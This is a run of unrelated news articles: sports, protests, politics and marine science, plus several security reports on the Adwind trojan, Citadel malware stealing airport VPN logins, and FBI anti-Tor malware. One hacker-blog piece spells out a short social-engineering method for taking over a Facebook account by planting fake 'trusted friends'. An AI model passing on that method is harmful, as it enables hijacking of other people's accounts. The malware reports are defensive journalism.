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Story highlightsFIFA rejects appeal made by Uruguay striker Luis Suarez after he bit an opponent Suarez can still make one more appeal, to the Court of Arbitration for Sport Suarez received an international ban and a suspension for any football activityFIFA's decision comes as Suarez is reportedly on the verge of signing for BarcelonaHe may be on the verge of signing for Barcelona, but it looks like Luis Suarez won't be returning to football action anytime soon after FIFA upheld his ban for biting Italy defender Giorgio Chiellini at the World Cup in Brazil. The world governing body suspended the Uruguayan bad boy for nine international games and ruled him out of any football activity for four months after the incident in late June.Unless Suarez wins an appeal with the Court of Arbitration for Sport, Thursday's ruling means he's sure to miss the start of the European football season. An appeal to Swiss-based CAS has yet to be confirmed. "The FIFA Appeal Committee has decided to reject the appeals lodged by both the Uruguayan player Luis Suarez and the Uruguayan FA, and to confirm the decision rendered by the FIFA Disciplinary Committee on 25 June 2014 in its entirety," FIFA said in a statement on its website. "The terms of the decision taken by the FIFA Appeal Committee were communicated to the player and the Uruguayan FA today."When Suarez bit Chiellini on June 24 as Uruguay eliminated 2006 world champion Italy, it marked the third time he'd taken a chunk out of an opponent. JUST WATCHEDFIFA suspends Luis Suarez for 9 matchesReplayMore Videos ...MUST WATCHFIFA suspends Luis Suarez for 9 matches 01:35JUST WATCHEDUruguay protests suspension of SuarezReplayMore Videos ...MUST WATCHUruguay protests suspension of Suarez 01:40JUST WATCHEDWorld reaction to the Suarez 'bite'ReplayMore Videos ...MUST WATCHWorld reaction to the Suarez 'bite' 01:50The Liverpool striker was banned domestically for 10 games in April 2013 when he bit Chelsea's Branislav Ivanovic in an English Premier League match, and he was handed a seven-game punishment while with Dutch club Ajax for biting PSV's Otman Bakkal in November 2010. Despite his indiscretions -- Suarez was also hit with an eight-game ban in December 2011 for racially abusing Manchester United defender Patrice Evra -- the 27-year-old is expected to complete his move to Spain in the coming days. According to reports, Liverpool wants a transfer fee of £75 million ($128 million) for the reigning Premier League player of the season, who scored 31 goals for the club in 2013-14. If the sides agree on that figure, it would make Suarez the third most expensive player in football history after Real Madrid duo Gareth Bale and Cristiano Ronaldo. The Catalan giant is desperate to overturn its 2013-2014 fortunes, having not won a trophy and watching arch-rival Real Madrid claim the European Champions League title while Atletico Madrid took its La Liga crown. Barcelona was given a transfer ban by FIFA in April for allegedly breaking rules over the signing of minors, but this has been suspended pending an appeal. According to former England striker Gary Lineker -- now a television host with the BBC -- Barcelona insisted on Suarez apologizing before any possible transfer. Suarez duly apologized to Chiellini and the "entire football family." Liverpool, meanwhile, second in the Premier League last term, has been busy preparing for Suarez's probable departure, bringing in England internationals Rickie Lambert and Adam Lallana from Southampton and Germany under-21 midfielder Emre Can from Bayer Leverkusen. Read: Brazil crushed by Germany
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(CNN)Protesters have gathered in major cities across Australia demanding justice over minority deaths in police custody in solidarity with the Black Lives Matter movement. About 10,000 people gathered in central Sydney Saturday after a court overturned a previous injunction that ruled any protest there illegal because of social distancing restrictions. Similar demonstrations went ahead in Brisbane, Melbourne and Adelaide, with protesters waving banners and chanting "black lives matter." The rallies were organized by indigenous rights groups -- among others -- under the banner "Stop Black Deaths in Custody."Jeremy, 27, who didn't reveal his surname, attended the march in Sydney. "To know that I stand on the shoulders of black, queer people before me who have enabled me to live the life I lead, I had to ask myself if I was going to be the ancestor that people after me needed me to be," he told CNN. "Change needs to happen ... I want to see it at its grass-roots level, see it in the education system, with people in power. What I want to see is that we haven't come this far for everything that's come before us to mean nothing." Protesters in Melbourne, Australia.Read MoreA common plightProtesters rallying outside Sydney's Town Hall called for justice for David Dungay, an Aboriginal man who died in a Sydney prison in 2015. His case has drawn parallels with George Floyd's death at the hands of police in the US. Like Floyd, Dungay's family say his last words were, "I can't breathe."Dungay, who was schizophrenic and diabetic, died in Long Bay Prison Hospital after he was overpowered and restrained by at least four prison officers, according to a press release sent to CNN by his family's lawyer, George Newhouse, of the National Justice Project.Dungay's family is calling for criminal charges to be brought against the correctional officers involved in his case. Protesters march in Adelaide, Australia.Australia's indigenous population -- composed of mainland Aboriginal people and Torres Strait Islanders -- makes up 2.4% of the country's 25 million people, yet accounts for more than a quarter of its total prisoner population. Analysis from Change the Record, an Aboriginal-led justice coalition, found that there have been 449 indigenous deaths in custody between 1980 and 2011, which represents 24% of all deaths in custody over that period."There's so many modern parallels with what's going on in Australia and the United States," Sudanese-Australian activist and author Yassmin Abdel-Magied previously told CNN. "It's the same institutionalized racism, it's the same black deaths in custody and police getting away with it with impunity." Police apologize for arrestThe protests in Australia come after a 17-year-old indigenous boy was injured by a policeman in Sydney on Monday.Speaking at a press conference on Wednesday, the boy's mother, father and sister -- who asked not to be named by the media -- said the actions of the junior constable, who arrested and later freed their son without charge, were "dangerous and uncalled for." They have called for charges to be brought against the officer. Video taken by an onlooker shows the junior constable kick the boy's legs out from underneath him and pin him to the ground with the help of two other officers. "Watching this video as a family and seeing the appalling way this adult arrested a compliant child is chilling. The use of excessive force is unnecessary and irresponsible," the boy's sister said. The officer has been placed on restricted duties while the case is reviewed by the NSW Police Standards Command. Earlier on Wednesday, NSW Police Commissioner Mick Fuller said he was "absolutely" sorry for the incident. CNN's Tara John, Melissa Bell and Barbara Wojazer contributed.
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Story highlightsHeather Heyer was a paralegal who assisted clients through bankruptcyHer father says she held passionate beliefs, wanted to help people (CNN)Heather Heyer dedicated her life to standing up for those she felt were not being heard, her family and friends said. She died fighting for her beliefs and campaigning against hate. "She was very strong in what she felt and she spoke with conviction," Heyer's close friend and co-worker Marissa Blair told Chris Cuomo on CNN's "New Day.""She would never back down from what she believed in. And that's what she died doing, she died fighting for what she believed in. Heather was a sweet, sweet soul and she'll never be replaced, she'll never be forgotten." Thirty-two-year-old Heyer was killed Saturday when a car plowed into a crowd of counterprotesters gathered to oppose a "Unite the Right" rally of white nationalist and other right-wing groups. Nineteen others were injured in the incident. A 20-year-old man from Ohio, James Alex Fields Jr., is charged with second-degree murder in Heyer's death.Read MorePassionate about helping peopleHeather's parents recalled their daughter's lifelong zeal for justice.Heather's father Mark Heyer said his daughter had strong convictions and was passionate about helping people."She died trying to bring about that purpose," he told CNN on Sunday. "She was always passionate about the beliefs she held, she had a bigger backbone than I did," he said.JUST WATCHEDVictim's mom on suspect: You gave us a forum ReplayMore Videos ...MUST WATCHVictim's mom on suspect: You gave us a forum 01:05Her mother, Susan Bro, addressed Fields, the man being held in custody. "This wasn't a video game, buddy," she said in an interview with CNN's Anderson Cooper. "This was real people. There are real consequences to what you did. I'm sorry you've chosen to do that. You have ruined your life and you've disturbed mine, but you took my child from me.""And I'm going to be the voice that she can no longer be. You gave us a national forum, and maybe I should thank you for that, but I can't. I'd rather have my child." 'We were against hate'Blair said she was at Saturday's rally with Heather and fiance Marcus Martin in a show of support for diversity. Teacher: Charlottesville car crash suspect discussed radical views"We were against hate, that's what we were against," Blair told CNN. Blair wore a purple T-shirt with a picture of Heather and the words: "If you're not outraged you're not paying attention.""This is our city. We work here. We live here. And we didn't want neo-Nazis and alt-right and racists to come into our city and think they could spread freely their hate, and their bigotry and their racism. We wanted to let them know that we were about love, that we were would overpower them ... We were peacefully protesting and we were just standing up for what we believe in... And that's what Heather stood for. That's why she was out there, that's why we were out there."Blair said Martin pushed her out of the way when he saw the car coming their way. Martin was hit and sent flying through the air, breaking his leg. The moment was captured in a photograph that has been published widely.People fly into the air as a vehicle drives into a group of protesters demonstrating against a white nationalist rally in Charlottesville, Va., Saturday, Aug. 12, 2017. Martin returned to the scene of the crash in a wheelchair Sunday night for a vigil for Heather. Blair calls Martin and Heather her "heroes.""She spoke for people even if they didn't want speak for themselves," Blair said. "Words can't describe Heather, I will never find another friend like Heather." 'We need to start with forgiveness'Mark Heyer said the only way to get through this tough time is to remember God teaches us to forgive."We need to start with forgiveness and stop all of the hate," he said.Charlottesville suspect may have been sending a message, DOJ official saysHeather worked as a paralegal for a Charlottesville law firm, assisting clients through the bankruptcy filing process. Heyer had just celebrated her five-year anniversary with the firm last week. Her boss, Larry Miller, said they went out for lunch for the occasion and he remembered telling her that she was a lot better than she gave herself credit for. Miller described Heyer as precise with her work, as witty and being like family. Co-worker Victoria Jackson said Heyer was not one to take vacation. Heyer ate lunch at her desk because she was dedicated to the needs of her clients, Jackson added. Jackson cried as she talked about Heyer, whom she had worked with side-by-side for 18 months. Heyer told Jackson she was worried that there would be gun violence at the white nationalist rally."Heather said, I want to go so badly but I don't want to get shot. I don't want to die," Jackson said. But Heyer went anyway because she wanted to stand up for what she believed in.Gov. Terry McAuliffe praised Heyer."She was doing what she loved," McAuliffe said. "She was fighting for democracy, (for) free speech, to stop hatred and bigotry."A sign remembering Heather Heyer sits in front of a statue of Robert E. Lee in Emancipation Park.Blair promised to make sure that Heather's message would live on."If you knew Heather, you would know that she loves everyone and all she wants is equality for everyone, no matter who you love, no matter what color you are," she said.CNN's Sheena Jones contributed to the story.
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Hackers and cyber criminals are becoming dramatically more adept, innovative, and stealthy with each passing day.
While other operating systems are more widely in use, cybercriminals have now shifted from traditional activities to more clandestine techniques that come with limitless attack vectors, support for cross platforms and low detection rates.
Security researchers have discovered that infamous Adwind, a popular cross-platform Remote Access Trojan written in Java, has re-emerged and currently being used to "target enterprises in the aerospace industry, with Switzerland, Austria, Ukraine, and the US the most affected countries."
Adwind — also known as AlienSpy, Frutas, jFrutas, Unrecom, Sockrat, JSocket, and jRat — has been in development since 2013 and is capable of infecting all the major operating systems, including Windows, Mac, Linux, and Android.
Adwind has several malicious capabilities including stealing credentials, keylogging, taking pictures or screenshots, data gathering and exfiltrate data. The trojan can even turn infected machines into botnets to abuse them for destructing online services by carrying out DDoS attacks.
Researchers from Trend Micro recently noticed a sudden rise in the number of Adwind infections during June 2017 — at least 117,649 instances in the wild, which is 107 percent more than the previous month.
According to a blog post published today, the malicious campaign was noticed on two different occasions.
First was observed on June 7 and used a link to divert victims to their .NET-written malware equipped with spyware capabilities, while the second wave was noticed on June 14 and used different domains hosting their malware and command-and-control servers.
Both waves eventually employed a similar social engineering tactic to trick victims into clicking the malicious links within a spam email that impersonate the chair of the Mediterranean Yacht Broker Association (MYBA) Charter Committee.
Once infected, the malware also collects system's fingerprints, along with the list of installed antivirus and firewall applications.
"It can also perform reflection, a dynamic code generation in Java. The latter is a particularly useful feature in Java that enables developers/programmers to dynamically inspect, call, and instantiate attributes and classes at runtime. In cybercriminal hands, it can be abused to evade static analysis from traditional antivirus (AV) solutions," the researchers wrote.
My advice for users to remain protected from such malware is always to be suspicious of uninvited documents sent over an email and never click on links inside those documents unless verifying the source.
Additionally, keep your systems and antivirus products up-to-date in order to protect against any latest threat.
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Facebook "Trusted friends" Security Feature Easily Exploitable
Last week Facebook announced that in one day 600,000 accounts possibly get hacked. Another possible solution for Facebook to combat security issues is to find 3 to 5 "Trusted friends". Facebook will be adding two new security features that will allow users to regain control of their account if it gets hijacked.
In Facebook's case, the keys are codes, and the user can choose from three to five "Trusted friends" who are then provided with a code. If you ever get locked out of your account (and you can't access your email to follow the link after resetting your Facebook password), you gather all the codes and use them to gain access to it again. Yet This method is used by hackers to hack most of the Facebook account using little bit of Social Engineering from last 5-6 Months according to me. Let us know, how this works...
How its Exploitable:
This Exploit is 90% Successful on the victims who add friends without knowing them or just for increasing the number of Friends. This method to hack a Facebook Account only works if 3 trusted friends agree to give you the security code ! Another Idea, Why not Create 3 fake accounts and send Friend Request to Victim. Once your 3 Fake Accounts become friends with your victims facebook account, you can select those 3 Accounts to get the Security Code and Reset the password of Victim. Here a Complete Demonstration of Hacking Method on HackersOnlineClub.
Other Serious Facebook Vulnerability in Last Week
Last Week Nathan Power from SecurityPentest has discovered new Facebook Vulnerability, that can easily attach EXE files in messages,cause possible User Credentials to be Compromised . Not even Account Security, Also there are lots of Privacy Issues in Facebook,like Nelson Novaes Neto, a Brazilian (independent) Security and Behavior Research have analyze a privacy issue in Facebook Ticker that allows any person chasing you without your knowledge or consent . Facebook should takes these privacy issues & security holes very seriously.
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Story highlights Aung San Suu Kyi says she has nothing to forgive Myanmar's military rulers for She calls for a cease-fire and political reconciliation after ethnic clashesAn audience cheers as Suu Kyi says she doesn't represent government -- yetShe will collect her Nobel Prize on her first visit to Europe in more than two decadesNobel laureate Aung San Suu Kyi called for the rule of law, an end to ethnic conflict and strong democratic institutions in Myanmar on Thursday as she began a historic first trip to Europe after decades of house arrest."Am I overly ambitious?" she asked, then smiled. "Well, perhaps. I am ambitious."The audience erupted in laughter and cheers as she declared that she was speaking not as a representative of government, then grinned and added: "Not yet, anyway."The democracy campaigner was speaking at the annual conference of the International Labour Organization, a U.N. agency. Worker and employer representatives, as well as government officials, attended the event.Answering questions after the speech, she said she had nothing to forgive the country's military rulers for.JUST WATCHEDRefugees flock to see Aung San Suu KyiReplayMore Videos ...MUST WATCHRefugees flock to see Aung San Suu Kyi 02:19JUST WATCHEDSuu Kyi asks people to invest in MyanmarReplayMore Videos ...MUST WATCHSuu Kyi asks people to invest in Myanmar 01:00"In some ways I don't think they did anything to me. They placed me under house arrest, but that gave me time to read," she said with a smile, adding: "Sometimes when my schedule is very hectic, I look back with some nostalgia" at nearly two decades of being confined to her home.She said her country, which is also known as Burma, needs "reconciliation, not retribution," as it moves toward democracy.Suu Kyi was recently elected to parliament as her National League for Democracy won dozens of seats in by-elections. It remains a minority in parliament.Suu Kyi said she was "concerned" about ethnic and religious violence in the country after clashes between Buddhists and Muslims in the past week have left many dead or homeless."Of course I am concerned, as I think everybody else in Burma is," Suu Kyi said of the clashes in Rakhine state."We have said again and again rule of law is essential. ... Without rule of law, such communal strife will only continue," she warned, urging that the conflict be handled with delicacy, sensitivity and "cooperation of all people concerned." She also addressed ethnic violence in Kachin state, saying: "A cease-fire is not enough. We have to have a political settlement if there is to be a lasting peace."U.N. special envoy Vijay Nambiar, who returned from a visit to Rakhine on Thursday, said he had seen smoke rising from the remains of houses that had been burned."I'd like to say the worst is behind us," he told CNN's Kristie Lu Stout, but could not say that the unrest was over."Trauma, fear, insecurity" will continue for some time, he warned, and said that reconciliation in the area will be "a long haul."Violent clashes between Buddhists and Muslims prompted the government of President Thein Sein to declare a state of emergency in Rakhine on Sunday, calling in the military to help impose order.The unrest in the western coastal area of Myanmar, which borders Bangladesh, has left 21 people dead and thousands seeking shelter in refugee camps, Myanmar state TV reported Tuesday evening.Suu Kyi said part of the problem was the "porous border" and "fear that there will be illegal immigrants.""We need very clear and precise laws with regard to citizenship," she said.She urged International Labour Organization delegates to think of the people of her country as "your own people, your own children," as she described the hopelessness many young people in Myanmar face."Restless, directionless youth agonize over the fruitlessness of their existence," she said."Please encourage your governments, your businesses, your workers to build the kind of society that will build the future of our country," she said in a departure from her prepared text.She called on them "not just to look at investment opportunities" in the mineral-rich nation, but "to judge how much potential there is for good for the whole world. ... Our people have such spirit in them."The International Labour Organization has for years pressured Myanmar to eradicate forced labor, which it says is widespread in the country. On Wednesday, the conference voted to lift restrictions on Myanmar's participation in the organization's activities, ending 13 years of isolation.During her trip, Suu Kyi will finally collect the Nobel Peace Prize that she was awarded in 1991, when she was under house arrest. She said Thursday that she had been too busy preparing for the trip to think about how she would feel when she received it.While in Europe, she is also scheduled to address both houses of the British Parliament, be the guest of honor at a concert in Dublin, Ireland, and celebrate her 67th birthday with family.The trip is only Suu Kyi's second abroad since she returned to Myanmar in 1988 to care for her dying mother, and comes close on the heels of her first trip outside the country earlier this year.A military coup in September 1988 put Gen. Saw Maung in power, setting off anti-government demonstrations and a crackdown that left hundreds dead. Suu Kyi -- whose husband, Michael Aris, remained in England -- became a leading activist and co-founder of an opposition group, the National League for Democracy. She was placed under house arrest for the first time the following July on charges of trying to divide the military. She spent much of the next two decades confined to her home by the ruling junta.When her party won the 1990 general election in a landslide vote, the military rulers -- in power since 1962 -- refused to let the National League for Democracy serve, nullifying the results. The military rulers have since loosened their grip on power, allowing a series of democratic reforms. Her house arrest ended in 2010, and she was able to travel around the country during her party's election campaign this year.On Saturday, about 21 years after she was awarded the prize, Suu Kyi is expected to finally deliver her Nobel lecture at the Oslo City Hall in Norway.Cities hosting her are well prepared for the fanfare. In Dublin, a giant banner hangs from Liberty Hall ahead of her scheduled Monday arrival. There, she will be the special guest at a concert, "Electric Burma."The event is organized by Art for Amnesty founder Bill Shipsey and features a range of entertainers and personalities, including Bono, Vanessa Redgrave, Bob Geldof, Angelique Kidjo and former Tiananmen Square student activist Wu'er Kaixi. Amnesty International, which has campaigned for Suu Kyi and other political prisoners in Myanmar during the past two decades, will award Suu Kyi its highest honor, the Ambassador of Conscience Award. Past recipients include Nelson Mandela and Vaclav Havel.Bono, who has long dedicated the song "Walk On" to Suu Kyi at U2 concerts to highlight her detention, will present the award. Tickets for the event sold out in 20 minutes.From Ireland, she plans to travel to Britain -- where she spent time as a student -- to celebrate her birthday Tuesday, before she addresses lawmakers at Westminster Hall in London on June 21, an honor usually reserved for heads of state.Suu Kyi's trip will end in Paris, where she will be a guest of French President Francois Hollande from June 26 to 29 in honor of her "fight for democracy and the rights of man and to reaffirm France's will to support the political transition in Myanmar," according to the Elysee Palace.
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Vilnius, Lithuania (CNN)Three layers of electrified fence. New security cameras. A military guard and a sign saying "Entry forbidden." Windows with bars and reflective glass, on newly refurbished barrack buildings. All empty, bar the occasional security officer, deep in the forest of authoritarian Belarus. These are the indications, according to videos seen by CNN and witness statements, of a possible prison camp for political dissidents, recently constructed around an hour's drive from the Belarusian capital Minsk, near the settlement of Novokolosovo. It sits on the site of a Soviet-era missile storage facility, which spans over 200 acres. It is unclear how much of the site has been refurbished. Belarus's opposition activists have voiced fears for some time that the authoritarian regime might resort to crude detention camps, if conventional prisons fill up. Concerns are also rising about another wave of crackdowns and arrests in response to demonstrations marking the August 9 anniversary of the disputed presidential election that sparked last year's protest movement. Further unrest may surround a constitutional referendum planned for later this year or early 2022. Franak Viacorka, a senior adviser to Belarusian opposition leader Sviatlana Tsikhanouskaya, viewed the footage and told CNN: "It is not surprising that [President Alexander Lukashenko] is trying to build something like a regular prison camp, because a new wave of protest will come up anyway. It can be triggered by his statements, it can be triggered by the economic situation. But it will come. He understands that, and he also wants to be prepared more than last year in 2020."Belarusian dissidents in August 2020 said police held them for several days in a prison camp, temporarily fashioned from an addiction treatment facility. Read MoreIn October, an activist group of former security officers, ByPol, released a recording they alleged to have been made of the deputy interior minister, Mikalay Karpyankou, in which he said "resettlement" prison camps needed to be built for more "sharp-heeled" protesters to reform them. In the recording, Karpyankou proposed building a camp out of an existing penitentiary in the town of Ivatsevichy. A US State Department spokesperson said they were aware of the reports, and "we will continue to closely monitor the situation. The United States condemns in the strongest terms the recent and ongoing crackdown on journalists and civil society by the Lukashenka regime. [We] renew our call for an end to the crackdown, the immediate release of all political prisoners ... and free-and-fair elections with international observation."The Belarusian government decried the recordings at the time of their release as "fake" news. The government did not respond to CNN's request for comment for this article ahead of publication.After publication, Belarusian state TV channel ONT on Friday broadcast video and drone footage from what appeared to be the same location. The report said the facility was an armaments depot for the Belarusian military's air defense department, and featured an officer and another individual on camera detailing its contents, and saying locals were well aware of its purpose. The report also showed the interior of what it said were the same buildings, which contained military equipment.CNN has not been able to access the interior of the facility near Novokolosovo, and there are no signs the camp has yet housed prisoners. A western intelligence official told CNN the use of the facility as a prison camp was "possible," although they did not have direct evidence to that effect. Locals in the town of Novokolosovo refer to the facility as "the camp." One resident, told to leave the area by military guards recently when he approached the site, said: "My friend Sasha, a builder, told me they refurbished this place. There are three levels of barbed wire, and its electrified. I was picking mushrooms here when a military man came up to me and said that I can't walk there." Two other witnesses also observed military patrols.
The images of the camp emerge after a weekslong crackdown against the remaining independent media inside Belarus, and after heightened international attention on the crisis inside the authoritarian country. On Sunday, Olympic athlete Kristina Timanovskaya said she was forced to the airport in Tokyo after criticizing Belarusian Olympic officials on Instagram, and had to seek Japanese police help to prevent her being put on a flight back to Minsk. She landed in Warsaw, Poland, on Wednesday where she has been offered refuge and a humanitarian visa. The Belarus National Olympic Committee has said she was taken off the Olympic team because of emotional and had psychological issues, which she denies. On Tuesday, fears for Belarus's growing diaspora of dissidents grew when activist Vitaly Shishov was found dead in a park outside the Ukrainian capital of Kiev, apparently hanged, with abrasions on his body. Police are investigating the possibilities of suicide or murder. In May, the country's regime brazenly diverted a passenger plane to Minsk and arrested dissident journalist Roman Protasevich, in an incident described by some Western leaders as "state-sanctioned hijacking." Belarus's protest movement has been significantly reduced owing to police brutality, causing many demonstrations now to take the form of a flash mob, filmed and posted online. Yet there are signs activists are adopting new measures of active disruption.CNN has spoken to activists who say they have taken the step of sabotaging railway lines run by the Belarusian government. They sent CNN a series of videos which show them using an established technique of delaying trains without causing damage. CNN is not revealing the location or nature of the tactic, and has not been able to independently confirm the effectiveness of the protest actions.One of the organizers, who said their activities have caused trains to slow to about 20 km an hour (12 mph) in some areas, told CNN: "The main goal is to cause economic damage to the regime, because the delays cause them to pay huge fines."Many of the railways that pass through Belarus ferry goods from China to the European Union, meaning frequent delays could have wider significance across the continent and for international trade, hitting Lukashenko's regime hard in the pocket.Editor's note: This report has been updated with a government response broadcast by Belarusian state television, and comment from the US State Department.
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Story highlightsArmed squads appear at Crimean airportsOusted Ukrainian President speaks defiantly ... from RussiaMeanwhile, Ukrainian parliament continues to build new governmentIt's another day of fast-moving events in Ukraine, and you're a little fuzzy on the details. So we're here to catch you up. Let's get started.OK, so what's happening in Ukraine today?A lot. To be brief, Ukraine's ousted President sounded pretty defiant talking to reporters from Russia. He fled Ukraine days ago but insisted that he remained the legitimate elected leader and that he would not give up. In Crimea, a pro-Russian region of southern Ukraine, armed men in military uniforms alarmed Ukrainian officials by showing up suddenly outside two airports in the region.So men with guns showed up unannounced at airports? What?Though it is an alarming development, that in and of itself doesn't seem to be quite the "armed invasion" Interior Minister Arsen Avakov suggested it was. The camo-clad squads showed up toting automatic weapons outside the main airport in the regional capital, Simferopol, as well as at a joint military-civilian airport near Russia's big military base in Sevastopol. They didn't seem to do much but look tough. Later, Ukrainian officials said they were able to stop the squads from taking over the airports without using any weapons.JUST WATCHEDUkraine going forwardReplayMore Videos ...MUST WATCHUkraine going forward 01:55JUST WATCHEDFmr. Ukraine Pres.: I was not overthrownReplayMore Videos ...MUST WATCHFmr. Ukraine Pres.: I was not overthrown 04:55JUST WATCHEDChallenges ahead for UkraineReplayMore Videos ...MUST WATCHChallenges ahead for Ukraine 04:51OK, remind me again how the tension in Ukraine all got started?The short version is that Ukraine has long been split between folks who look West toward Europe and those who tend to lean East toward Russia. Last year, now-ousted President Viktor Yanukovych decided to scrap a European trade deal that promised long-term rewards in favor of a pile of quick cash offered up by Russia. The pivot toward Russia set off protests by the pro-European crowd that climaxed in deadly clashes with security forces last week. Dozens died before a European-brokered peace deal ended the fighting. But Yanukovych fled before the deal could all be implemented, first to pro-Russian strongholds in Ukraine, then finally to Russia.What did the ousted President say today? And why is he in Russia?Pretty much this: I'm still president. I had to leave Ukraine because people kept trying to kill me. And "Western powers" are to blame for all of this chaos. He also said that he won't ask Russian President Vladimir Putin for military muscle to help restore him to power, and seemed to reject talk of splitting up Ukraine into pro-European and pro-Russian halves.So who's in charge in Ukraine and what are they doing about all this?Ukraine's Parliament says it's running things. Lawmakers have named an interim president, started to set up a new government and called elections for May. They've also been talking tough to Russia about keeping its military on its leash and avoiding anything that seems provocative.Why does Russia care so much?Why does the United States care what's happening in, say, Mexico? Pretty much the same reasons apply -- the two countries have traded territories back and forth, they have a shared border and there are lots of business and cultural associations. Ukraine is literally on Russia's doorstep. It's home to the country's Black Sea naval fleet. Ukraine used to be one of the republics in the Soviet Union, and Crimea used to belong to Russia. The countries are big trading partners, and Ukraine hosts part of Russian state-owned natural gas provider Gazprom's network of pipelines that serve European markets.What's going to happen next?Who knows, but keep an eye on Crimea. Pro-Russian forces still hold several government buildings, and lawmakers there have voted out a government they saw as too pro-Kiev. With so many ethnic Russians and a big Russian military presence there, it's a potential flashpoint.MAP: How Ukraine is dividedREAD: Viktor Yanukovych: I'm still Ukraine's President, will fight for its futureREAD: Crimea: 5 things you need to know
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(CNN)Australian researchers have developed new technology enabling them for the first time to film a deep-sea swimming sea cucumber, also known as a "headless chicken monster," in Southern Ocean waters off East Antarctica.The sea cucumber, which has only ever been filmed before in the Gulf of Mexico, was discovered using an underwater camera system developed for commercial long-line fishing by the Australian Antarctic Division (AAD).It is hoped that the pioneering Australian camera technology that captured the rare footage of the organism, Enypniastes eximia, may help the long-running push for the creation of a new Antarctic conservation zone.The technology is based on a housing which protects the camera and electronics and is "designed to attach to toothfish longlines in the Southern Ocean, so it needs to be extremely durable," said AAD leader Dirk Welsford, referring to a type of line used for deep sea fishing."We needed something that could be thrown from the side of a boat, and would continue operating reliably under extreme pressure in the pitch black for long periods of time."Read MoreData from the cameras are sent to the international body managing the Southern Ocean, the Commission for the Conservation of Antarctic Marine Living Resources (CCAMLR).JUST WATCHEDDeep-sea coral reef discovered off US coastReplayMore Videos ...MUST WATCHDeep-sea coral reef discovered off US coast 01:00'Breathtaking' imagery"Some of the footage we are getting back from the cameras is breathtaking, including species we have never seen in this part of the world," Welsford was quoted as saying in a statement issued by CCAMLR."Most importantly, the cameras are providing important information about areas of seafloor that can withstand this type of fishing, and sensitive areas that should be avoided," he added.The data collected from the cameras are being presented at the annual CCAMLR meeting starting in Hobart on Monday, where a new maritime protection area will be proposed."Australia will again be seeking support for the creation of a new East Antarctic Marine Protected Area," said Gillian Slocum, Australia's CCAMLR Commissioner."We will also support two other new Marine Protected Areas (MPAs) being proposed this year which will contribute to CCAMLR's commitment of a representative system of MPAs in the Southern Ocean," she added.JUST WATCHEDBizarre jellyfish and rare squid caught on camReplayMore Videos ...MUST WATCHBizarre jellyfish and rare squid caught on cam 01:18Proposed protection areaThe huge area off the coast of East Antarctica, which is rich in cold-water corals and home to penguin foraging grounds, has long been the focus of a bid to create a protection area.The proposal to protect three large blocks of ocean and sea floor along East Antarctica has previously been endorsed by the commission's scientific committee three times. But opposition from China and Russia has blocked the proposal each year, according to a report in Nature.The report added that both countries have fishing interests in the region, and under CCAMLR rules, all 25 commission members -- 24 countries and the European Union -- must agree for a proposal to be adopted.However, conservation groups are confident the zone will be agreed at this year's meeting."Many changes have been made to the original proposal to address concerns by countries. Almost all CCAMLR Members have agreed it is ready to be adopted," said Claire Christian, executive director of the Antarctic and Southern Ocean Coalition. "We are therefore optimistic that any remaining concerns can be addressed". She said that China and Russia's previous objections were about the language and regulations of the proposal rather than its conservation justifications and science."Marine protected areas are one of the best tools we have to protect whole ecosystems in a comprehensive way," Christian added. "Protecting the Southern Ocean means we protect the world's last great wilderness and help its magnificent species thrive."The area's species are highly prized and so need careful conservation, said Slocum."The Southern Ocean is home to an incredible abundance and variety of marine life, including commercially sought-after species, the harvesting of which must be carefully managed for future generations," she added.
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It sounds like an air traveler's nightmare, Researchers at Trusteer recently uncovered a variant of the Citadel Trojan targeting the virtual private network (VPN) credentials used by employees at a major airport.The firm would not disclose the name of the airport because the situation is being investigated by law enforcement.
Many businesses use VPNs to provide outside workers with access to secure data. Incursions on these networks often involve advanced "Man in the Browser" malware such as the Citadel, Zeus, and SpyEye programs. The man-in-the-browser (MITB) assault first used form-grabbing malware, which steals data entered into web forms before it is passed over the internet, to steal the airport employees' VPN usernames and passwords, Amit Klein, Trusteer's chief technology officer, said in a blog post.
"This was potentially very dangerous, but we don't know whether the attacker group was targeting the financial system of the airport for economic gain or if the attack was terrorism-related,"
The airport VPN was immediately disconnected after officials there were made aware of the breach and authorities are investigating.
The product that the airport was using to provide strong authentication for employees gave each user two choices: log in with a username and a one-time password that's sent via SMS or a smartphone app; or log in using a CAPTCHA-like image of 10 digits that the user maps to his own static password. The Citadel malware used the screen-capture tactic to defeat this.
"This security measure prevents the form grabber from capturing the actual static password. This is where the screen capturing feature in Citadel kicks in," Klein said.
Trusteer doesn't know who the attackers are and what they are after, but Kedem says they could be trying to gather intelligence on airport security processes, or even the border customs service.He says the attack appears to be very targeted, and the bottom line is that VPN connections are not safe.
In addition to using endpoint cybercrime prevention software, Kedem also advises users to abide by standard practices for preventing infection: avoid opening unknown attachments or clicking links in emails.
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In Brief
According to an investigation, Matthew Edman, a cyber security expert and former employee of the Tor Project, helped the FBI with Cornhusker a.k.a Torsploit malware that allowed Feds to hack and unmask Tor users in several high-profile cases, including Operation Torpedo and Silk Road.
Do you know who created malware for the FBI that allowed Feds to unmask Tor users?
It's an insider's job… A former Tor Project developer.
In an investigation conducted by Daily Dot journalists, it turns out that Matthew J. Edman, a former part-time employee of Tor Project, created malware for the Federal Bureau of Investigation (FBI) that has been used by US law enforcement and intelligence agencies in several investigations, including Operation Torpedo.
Matthew Edman is a computer scientist who specializes in cyber security and investigations and joined the Tor Project in 2008 to build and enhance Tor software's interactions with Vidalia software, cross-platform GUI for controlling Tor.
After 2009, Matthew was hired by a contractor working for defense and intelligence agencies, including the FBI, to develop an anti-Tor malware.
The Tor Project has also confirmed the same, saying, "It has come to our attention that Matt Edman, who worked with the Tor Project until 2009, subsequently was employed by a defense contractor working for the FBI to develop anti-Tor malware."
Moreover, the team said Edman worked only on the Vidalia project that Tor dropped in 2013 and replaced it with other tools designed to improve the user experience.
Also Read: How Hacking Team and FBI planned to Unmask A Tor User.
Cases Solved with the Help of Former Tor Developer
Since 2012, Edman has been working at Mitre Corporation as a senior cyber security engineer assigned to the FBI's internal team, dubbed Remote Operations Unit, that develops or purchases exploits and hacking tools for spying on potential targets.
Due to his work for the Tor Project, Edman became an FBI contractor assigned a task to hack Tor as part of Operation Torpedo, a sting operation to identify owners and patrons of Dark Net child pornography websites that used Tor.
Also Read: How Spies Could Unmask Tor Users without Cracking Encryption.
Besides working on Operation Torpedo, Edman also helped the federal agency shut down Silk Road, the first most popular DarkNet drug marketplace, and arrest its convicted creator Ross Ulbricht.
